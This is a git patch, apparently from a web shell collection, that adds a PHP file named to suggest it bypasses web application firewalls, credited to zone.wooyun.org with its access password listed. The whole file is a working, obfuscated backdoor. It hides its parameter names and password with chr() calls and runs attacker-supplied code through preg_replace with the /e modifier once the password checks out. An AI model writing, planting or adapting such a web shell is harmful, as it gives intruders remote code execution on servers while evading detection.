From 6c2b8abb4b9d4ade0f79fc27e060c5b9e1f420c0 Mon Sep 17 00:00:00 2001
From: tennc <tennc@users.noreply.github.com>
Date: Tue, 16 Jun 2015 09:16:00 +0800
Subject: [PATCH] Create bypass-waf-2015-06-16-01.php

pass : c451cc
from : zone.wooyun.org
---
 php/bypass-waf-2015-06-16-01.php | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)
 create mode 100644 php/bypass-waf-2015-06-16-01.php

diff --git a/php/bypass-waf-2015-06-16-01.php b/php/bypass-waf-2015-06-16-01.php
new file mode 100644
index 0000000..6957ef6
--- /dev/null
+++ b/php/bypass-waf-2015-06-16-01.php
@@ -0,0 +1,21 @@
+<?php 
+function getMd5($md5 = null) { 
+    $key = substr(md5($md5),26); 
+    return $key; } 
+    $array = array( 
+      chr(112).chr(97).chr(115).chr(115), 
+      chr(99).chr(104).chr(101).chr(99).chr(107), 
+      chr(99).chr(52).chr(53).chr(49).chr(99).chr(99) 
+    ); 
+    if ( isset($_POST) ) $request = &$_POST; 
+    elseif ( isset($_REQUEST) )  $request = &$_REQUEST; 
+    if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { 
+      if ( getMd5($request[$array[0]]) == $array[2] ) { 
+        $token = preg_replace ( 
+        chr(47) . $array[2] . chr(47) . chr(101), 
+        $request[$array[1]], 
+        $array[2] 
+      ); 
+    } 
+} 
+?>